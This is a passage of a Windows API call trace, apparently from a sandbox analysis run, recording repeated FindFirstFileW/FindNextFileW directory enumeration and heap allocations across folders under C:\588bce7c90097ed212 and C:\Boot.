Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.476] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d068 [0272.476] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.476] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.477] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.477] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.477] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.477] FindClose (in: hFindFile=0x77d068 | out: hFindFile=0x77d068) returned 1 [0272.478] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.478] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.478] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.478] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d468 [0272.478] FindNextFileW (in: hFindFile=0x77d468, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.478] FindNextFileW (in: hFindFile=0x77d468, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x77d468, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x77d468, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x77d468, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.479] FindClose (in: hFindFile=0x77d468 | out: hFindFile=0x77d468) returned 1 [0272.479] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.479] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.480] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.480] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.480] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.480] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.480] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.481] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.481] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.481] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.481] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.481] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d328 [0272.486] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.486] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.486] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.486] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.486] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.486] FindClose (in: hFindFile=0x77d328 | out: hFindFile=0x77d328) returned 1 [0272.486] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.486] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.486] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.486] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d268 [0272.510] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.510] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.511] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.511] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.511] FindClose (in: hFindFile=0x77d268 | out: hFindFile=0x77d268) returned 1 [0272.534] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.534] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.534] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.534] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d6e8 [0272.556] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.556] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.556] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.556] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.556] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.557] FindClose (in: hFindFile=0x77d6e8 | out: hFindFile=0x77d6e8) returned 1 [0272.564] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.564] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.564] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.564] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.565] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.565] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.565] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.565] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.566] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.566] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.567] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.567] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.567] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.567] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d528 [0272.568] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.568] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.568] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.568] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.568] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.569] FindClose (in: hFindFile=0x77d528 | out: hFindFile=0x77d528) returned 1 [0272.569] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.569] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.570] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.570] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d4a8 [0272.575] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x77d4a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.575] FindClose (in: hFindFile=0x77d4a8 | out: hFindFile=0x77d4a8) returned 1 [0272.575] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.575] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.576] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.576] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.577] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.577] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.578] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.578] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.578] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.578] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.579] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.579] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.579] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.579] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d568 [0272.581] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.581] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.582] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.582] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.582] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.582] FindClose (in: hFindFile=0x77d568 | out: hFindFile=0x77d568) returned 1 [0272.583] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.583] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.583] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.583] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.584] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.584] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.584] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.585] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.585] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.585] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.585] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d268 [0272.586] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.586] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.586] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.587] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.587] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.587] FindClose (in: hFindFile=0x77d268 | out: hFindFile=0x77d268) returned 1 [0272.587] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.587] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.588] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.588] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d168 [0272.590] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.590] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.590] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.590] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.590] FindNextFileW (in: hFindFile=0x77d168, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.590] FindClose (in: hFindFile=0x77d168 | out: hFindFile=0x77d168) returned 1 [0272.591] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.591] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.591] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.591] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.593] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.593] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.593] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.593] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.593] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.594] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.594] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.594] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.594] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.594] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.594] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d368 [0272.595] FindNextFileW (in: hFindFile=0x77d368, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.595] FindNextFileW (in: hFindFile=0x77d368, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.596] FindNextFileW (in: hFindFile=0x77d368, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.596] FindNextFileW (in: hFindFile=0x77d368, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.596] FindClose (in: hFindFile=0x77d368 | out: hFindFile=0x77d368) returned 1 [0272.597] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.597] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.597] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.597] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d6a8 [0272.599] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.599] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.600] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.601] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.602] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.602] FindClose (in: hFindFile=0x77d6a8 | out: hFindFile=0x77d6a8) returned 1 [0272.602] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.603] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.609] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.610] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.611] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.612] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0 [0272.612] FindClose (in: hFindFile=0x77d668 | out: hFindFile=0x77d668) returned 1 [0272.613] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0272.614] FindNextFileW (in: hFindFile=0x77d3e8, lpFindFileData=0x3c7fcf8 | out: lpFindFileData=0x3c7fcf8) returned 1 [0272.614] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4510870 [0272.614] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0x77d0e8 [0272.615] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.671] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.672] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.672] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.672] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.672] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d1e8 